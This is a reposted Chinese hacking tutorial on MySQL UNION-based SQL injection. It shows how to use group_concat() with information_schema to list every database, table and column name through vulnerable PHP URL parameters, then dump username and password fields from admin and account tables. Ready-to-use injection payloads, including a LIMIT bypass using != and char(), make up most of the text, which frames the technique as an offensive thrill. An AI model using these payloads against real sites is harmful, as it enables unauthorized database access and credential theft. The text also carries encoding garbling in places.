对Group_concaT函数利用剖析 (转)
作者:曉華?
?
??????????????????????????????????????????????????????????????????????????????????????????? 開篇介紹
????? 在FLYH4T大哥的“Mysql5注射技巧總結(jié)”一文中介紹了通過使用“information_schema”庫實現(xiàn)遍歷猜解庫名表名以及字段名的技術(shù),解決了一些以前使用工具無法猜解到的庫名表名以及字段名的問題,提高了注射的效率。關(guān)于此文的詳細(xì)技術(shù)細(xì)節(jié)請參考往期的“黑客手冊”。但是通過我的研究,發(fā)現(xiàn)這種技巧有一定的缺陷。首先遍歷的庫名或者表名以及字段名等位置,要使用到limit功能語句來強(qiáng)制返回select查詢的記錄數(shù)。如果在滲透中l(wèi)imit功能語句無法使用,是不是很難進(jìn)行遍歷了?如果被限制的話,可以使用“!=”來繞過。語句使用格式:
show.php?id=2/**/and/**/1=2/**/union/**/select/**/1,table_name,3,4,5,6,7,8,9,10/**/frominformation_schema.tables/**/where/**/table_schema=database()/**/and/**/table_name/**/!=char(97,100,109,105,110)
雖然這樣能夠繞過limit的限制,但是利用起來非常不方便,而且猜解的速度很慢。經(jīng)過我的仔細(xì)研究,找到了一個相對比較好的方法。而且解決了limit被限制的問題,更重要的是加速了遍歷的速度,明顯提高注射的效率。
???????????????????????????????????????????????????????????????? group_concat()函數(shù)介紹
?
首先我們來了解一下group_concat()函數(shù),該函數(shù)完整語法如下:
GROUP_CONCAT([DISTINCT] expr [,expr ...]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] [,col ...]]
[SEPARATOR str_val])
該函數(shù)返回一個字符串結(jié)果,該結(jié)果由分組中的值連接組合而成,這個函數(shù)在 MySQL 4.1 中被加入。有興趣的朋友可以參考“MYSQL5.1參考手冊”。
?
普通利用
?
該函數(shù)在MYSQL的注射中也有使用的例子,利用方法還只是局限于在一個地方顯示一些普通信息,比如顯示數(shù)據(jù)庫版本和爆字段數(shù)據(jù)等。爆版本等信息,執(zhí)行語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15—如圖1
?
?
?
?
爆用戶名以及密碼等字段信息,執(zhí)行語句:
news.php?id=-1/**/union/**/select/**/1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12/**/from/**/admin—
這么強(qiáng)悍的函數(shù),我們?yōu)槭裁床簧疃韧诰蛩墓δ苣?#xff1f;利用它可以干一些不可思議的事,接下來我會介紹如何深度利用這個函數(shù),讀者朋友可要仔細(xì)了。
?
高級利用
爆全部庫名
利用這個函數(shù)可以爆出全部的數(shù)據(jù)庫名,構(gòu)造查詢語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(SCHEMA_NAME),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.SCHEMATA--?? 如圖2
?
爆出了所有的數(shù)據(jù)庫名,共有三個。依次為: information_schema cite test
?
爆全部表名
利用這個函數(shù)可以爆出全部的表名,如果想爆出cite庫的全部表名。構(gòu)造查詢語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=0x63697465 其中0x63697465是cite的HEX值。如圖3
?
?
如果只是想爆當(dāng)前庫的全部表名,我們不需要將庫名進(jìn)行HEX值轉(zhuǎn)換。可以這樣執(zhí)行語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.tables/**/where/**/table_schema=database()-- 其中database()函數(shù)就是顯示當(dāng)前庫的信息。如圖4
?
爆全部字段名
?
利用這個函數(shù)可以爆出全部的字段名,如果想爆出“account”表的全部字段,首先將其進(jìn)行HEX轉(zhuǎn)換。構(gòu)造查詢語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.columns/**/where/**/table_name=0x6163636F756E74-- 如圖5
?
得到二個敏感的字段,依次為:username password。
?
爆最終敏感數(shù)據(jù)
?
有了表和字段等關(guān)鍵信息,我們就可以爆出敏感數(shù)據(jù)信息。構(gòu)造查詢語句:
news.php?category=seminar&id=-291/**/union/**/select/**/1,group_concat(username,0x3A,password),3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/cite.account-- 如圖6
?
總結(jié):靈活運(yùn)用此函數(shù),能讓你充分感受到MYSQL注射的快感。其實也不是什么高深的技術(shù),只不過是將MYSQL5的“information_schema”庫與group_concat()函數(shù)的綜合運(yùn)用罷了。對本文有任何疑問和有好的建議的朋友,請到黑客手冊官方論壇或者歲月聯(lián)盟找我交換意見,謝謝。
轉(zhuǎn)載于:https://www.cnblogs.com/demonspider/archive/2012/08/01/2618840.html
總結(jié)
以上是生活随笔為你收集整理的对Group_concaT函数利用剖析 (转)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: POJ 1521 Entropy
- 下一篇: 时钟同步及其应用(接上一篇)